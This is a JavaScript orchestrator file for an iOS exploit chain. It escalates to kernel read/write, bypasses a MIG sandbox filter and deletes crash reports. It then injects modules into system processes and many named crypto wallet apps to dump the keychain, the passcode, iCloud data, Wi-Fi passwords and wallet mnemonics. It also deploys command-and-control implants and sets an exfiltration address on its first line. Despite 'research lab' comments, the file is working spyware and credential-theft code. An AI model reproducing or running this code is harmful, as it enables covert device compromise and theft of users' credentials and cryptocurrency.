330 lines
10 KiB
JavaScript
330 lines
10 KiB
JavaScript
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
|
import Native from "libs/Chain/Native";
|
|
import Chain from "libs/Chain/Chain";
|
|
import TaskRop from "libs/TaskRop/TaskRop";
|
|
import Task from "libs/TaskRop/Task";
|
|
import Sandbox from "libs/TaskRop/Sandbox";
|
|
import Utils from "libs/JSUtils/Utils";
|
|
import InjectJS from "./InjectJS";
|
|
import Driver from "libs/Driver/Driver";
|
|
import RemoteCall from "libs/TaskRop/RemoteCall";
|
|
import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js";
|
|
import loaderCode from "!raw-loader!loader.js";
|
|
import fileDownloaderCode from "!raw-loader!file_downloader.js";
|
|
import keychainCopierCode from "!raw-loader!keychain_copier.js";
|
|
import wifiDumpCode from "!raw-loader!wifi_password_dump.js";
|
|
import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js";
|
|
import iCloudDumperCode from "!raw-loader!icloud_dumper.js";
|
|
|
|
import keychainDumperCode from "!raw-loader!keychain_dumper.js";
|
|
import passcodeCaptureCode from "!raw-loader!passcode_capture.js";
|
|
import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js";
|
|
import walletExtractorCode from "!raw-loader!wallet_extractor.js";
|
|
import ghostNativeStub from "!raw-loader!ghost_native_stub.js";
|
|
import ghostHttpClient from "!raw-loader!ghost_http_client.js";
|
|
import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js";
|
|
import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js";
|
|
import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js";
|
|
import ghostKnifeClient from "!raw-loader!ghost_knife_client.js";
|
|
|
|
const ghostSaberPayload = [
|
|
ghostNativeStub,
|
|
ghostHttpClient,
|
|
ghostFollowonLoader,
|
|
ghostSharedChannel,
|
|
ghostSaberAgent,
|
|
].join("\n");
|
|
const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n");
|
|
|
|
class MigFilterBypass {
|
|
|
|
#running;
|
|
#sharedMem;
|
|
#runFlagPtr;
|
|
#isRunningPtr;
|
|
#monitorThread1Ptr;
|
|
#monitorThread2Ptr;
|
|
#mutexPtr;
|
|
|
|
constructor(mutexPtr) {
|
|
this.#mutexPtr = mutexPtr;
|
|
this.#running = false;
|
|
this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100));
|
|
this.#runFlagPtr = this.#sharedMem;
|
|
this.#isRunningPtr = this.#sharedMem + 0x4n;
|
|
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
|
|
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
|
|
Native.write32(this.#runFlagPtr, 2);
|
|
Native.write32(this.#isRunningPtr, 0);
|
|
}
|
|
|
|
start() {
|
|
if (this.#running)
|
|
return;
|
|
|
|
let threadSelf = BigInt(Native.callSymbol("mach_thread_self"));
|
|
let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf));
|
|
|
|
|
|
let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400));
|
|
let kernelRW = Chain.transferRW();
|
|
let kernelBase = BigInt(Chain.getKernelBase());
|
|
Native.write64(threadMem, BigInt(kernelRW.controlSocket));
|
|
Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
|
|
Native.write64(threadMem + 0x10n, kernelBase);
|
|
Native.write64(threadMem + 0x18n, threadSelfAddr);
|
|
Native.write64(threadMem + 0x20n, this.#runFlagPtr);
|
|
Native.write64(threadMem + 0x28n, this.#isRunningPtr);
|
|
Native.write64(threadMem + 0x30n, this.#mutexPtr);
|
|
Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock));
|
|
Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg));
|
|
Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR));
|
|
Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr);
|
|
Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr);
|
|
//Native.write64(threadMem, lock.kernelSlide);
|
|
//Native.write64(threadMem + 0x8n, lock.lockAddr);
|
|
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
|
|
const threadCode = "fcall_init(); " + MigFilterBypassThreadCode;
|
|
Chain.threadSpawn(threadCode, threadMem);
|
|
|
|
for (let i=0; i<10; i++) {
|
|
let isRunning = Native.read32(this.#isRunningPtr);
|
|
if (isRunning)
|
|
break;
|
|
Native.callSymbol("usleep", 500000);
|
|
}
|
|
|
|
this.#running = true;
|
|
}
|
|
|
|
stop() {
|
|
if (!this.#running)
|
|
return;
|
|
|
|
Native.write32(this.#runFlagPtr, 0);
|
|
Native.callSymbol("sleep", 1);
|
|
this.#running = false;
|
|
}
|
|
|
|
pause() {
|
|
Native.write32(this.#runFlagPtr, 2);
|
|
Native.callSymbol("sleep", 1);
|
|
}
|
|
|
|
resume() {
|
|
Native.write32(this.#runFlagPtr, 1);
|
|
Native.callSymbol("sleep", 1);
|
|
}
|
|
|
|
monitorThreads(thread1, thread2) {
|
|
Native.write64(this.#monitorThread1Ptr, thread1);
|
|
Native.write64(this.#monitorThread2Ptr, thread2);
|
|
}
|
|
}
|
|
function xnuVersion() {
|
|
Native.callSymbol("uname", Native.mem);
|
|
const release = Native.readString(Native.mem + 0x200n, 0x100);
|
|
let splittedVersion = release.split(".");
|
|
let xnuMajor = splittedVersion[0];
|
|
let xnuMinor = splittedVersion[1];
|
|
return {major: xnuMajor, minor: xnuMinor};
|
|
}
|
|
|
|
const TAG = "MAIN";
|
|
//const targetProcess = "bluetoothd";
|
|
const targetProcess = "SpringBoard";
|
|
|
|
function start() {
|
|
let mutexPtr = null;
|
|
let migFilterBypass = null;
|
|
globalThis.xnuVersion = xnuVersion();
|
|
let ver = globalThis.xnuVersion;
|
|
|
|
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
|
|
if (ver.major == 24 && ver.minor >= 4) {
|
|
|
|
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
|
|
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
|
|
migFilterBypass = new MigFilterBypass(mutexPtr);
|
|
}
|
|
let driver = new Driver();
|
|
|
|
Chain.init(driver, mutexPtr);
|
|
|
|
let resultPE = Chain.runPE();
|
|
if (!resultPE)
|
|
return;
|
|
|
|
|
|
TaskRop.init();
|
|
if(migFilterBypass)
|
|
migFilterBypass.start();
|
|
let launchdTask = new RemoteCall("launchd",migFilterBypass);
|
|
if (!launchdTask.success()) {
|
|
return false;
|
|
}
|
|
|
|
Sandbox.initWithLaunchdTask(launchdTask);
|
|
Sandbox.deleteCrashReports();
|
|
Sandbox.createTokens();
|
|
|
|
let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass);
|
|
let agentPid = 0;
|
|
|
|
if (agentLoader.inject()) {
|
|
agentPid = agentLoader.task.pid();
|
|
Sandbox.applyTokensForRemoteTask(agentLoader.task);
|
|
Sandbox.adjustMemoryPressure(targetProcess);
|
|
|
|
agentLoader.destroy();
|
|
}
|
|
|
|
// Phase order:
|
|
// 0x45 keychain_copier → configd (must run BEFORE file_downloader)
|
|
// 0x46 keychain_dumper → securityd
|
|
// 0x47 passcode_capture → SpringBoard
|
|
// 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag)
|
|
// 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps
|
|
// 0x4B icloud_dumper → UserEventAgent
|
|
// 0x49 wifi_password_dump → wifid
|
|
// 0x4A wifi_password_securityd → securityd
|
|
|
|
const keychainProcess = "configd";
|
|
let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass);
|
|
if (keychainCopier.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(keychainCopier.task);
|
|
keychainCopier.destroy();
|
|
}
|
|
|
|
const securitydProcess = "securityd";
|
|
let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass);
|
|
if (keychainDumper.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(keychainDumper.task);
|
|
keychainDumper.destroy();
|
|
}
|
|
|
|
try {
|
|
let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass);
|
|
if (passcodeCap.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(passcodeCap.task);
|
|
passcodeCap.destroy();
|
|
}
|
|
} catch (_) {}
|
|
|
|
// Brief settle so configd/securityd can land files in /tmp before FD starts
|
|
try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {}
|
|
|
|
try {
|
|
let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass);
|
|
if (fileDownloader.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(fileDownloader.task);
|
|
fileDownloader.destroy();
|
|
}
|
|
} catch (injectError) {}
|
|
|
|
// 0x4D — wallet app processes (best-effort; skip if not running)
|
|
const walletProcesses = [
|
|
"Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken",
|
|
"Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal",
|
|
"Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic",
|
|
];
|
|
const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode;
|
|
for (let wi = 0; wi < walletProcesses.length; wi++) {
|
|
try {
|
|
let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass);
|
|
if (wDump.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(wDump.task);
|
|
wDump.destroy();
|
|
}
|
|
} catch (_) {}
|
|
}
|
|
// Also run extractor in SpringBoard (pasteboard / residual ObjC)
|
|
try {
|
|
let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass);
|
|
if (sbExtract.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(sbExtract.task);
|
|
sbExtract.destroy();
|
|
}
|
|
} catch (_) {}
|
|
|
|
const userEventAgentProcess = "UserEventAgent";
|
|
let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass);
|
|
if (iCloudDumper.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(iCloudDumper.task);
|
|
iCloudDumper.destroy();
|
|
}
|
|
|
|
const wifidProcess = "wifid";
|
|
let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass);
|
|
if (wifiDump.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(wifiDump.task);
|
|
wifiDump.destroy();
|
|
}
|
|
|
|
let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass);
|
|
if (wifiDumpSecurityd.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task);
|
|
wifiDumpSecurityd.destroy();
|
|
}
|
|
|
|
const p0Signals = [
|
|
"/tmp/keychain-2.db",
|
|
"/tmp/keychain_full_dump.txt",
|
|
"/tmp/wallet_mnemonic_scan.txt",
|
|
"/tmp/wifi_passwords.txt",
|
|
"/private/var/tmp/wifi_passwords.txt",
|
|
];
|
|
for (let round = 0; round < 24; round++) {
|
|
let ready = 0;
|
|
for (let i = 0; i < p0Signals.length; i++) {
|
|
const probe = p0Signals[i];
|
|
const fd = Native.callSymbol("open", probe, 0);
|
|
if (Number(fd) >= 0) {
|
|
Native.callSymbol("close", fd);
|
|
ready++;
|
|
}
|
|
}
|
|
if (ready >= 2) break;
|
|
if (ready >= 1 && round >= 12) break;
|
|
Native.callSymbol("sleep", 1);
|
|
}
|
|
|
|
// (file_downloader already injected after keychain stages — no second pass)
|
|
|
|
// GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab)
|
|
try {
|
|
let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass);
|
|
if (ghostSaber.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(ghostSaber.task);
|
|
ghostSaber.destroy();
|
|
}
|
|
} catch (e) {
|
|
// optional post-exploit module
|
|
}
|
|
|
|
// GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab)
|
|
try {
|
|
let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass);
|
|
if (ghostKnife.inject()) {
|
|
Sandbox.applyTokensForRemoteTask(ghostKnife.task);
|
|
ghostKnife.destroy();
|
|
}
|
|
} catch (e) {
|
|
// optional post-exploit module
|
|
}
|
|
|
|
launchdTask.destroy();
|
|
|
|
return true;
|
|
}
|
|
|
|
try {
|
|
start();
|
|
}
|
|
catch (error) {
|
|
// Error handling without logging
|
|
}
|
|
finally {
|
|
Native.callSymbol("exit", 0n);
|
|
}
|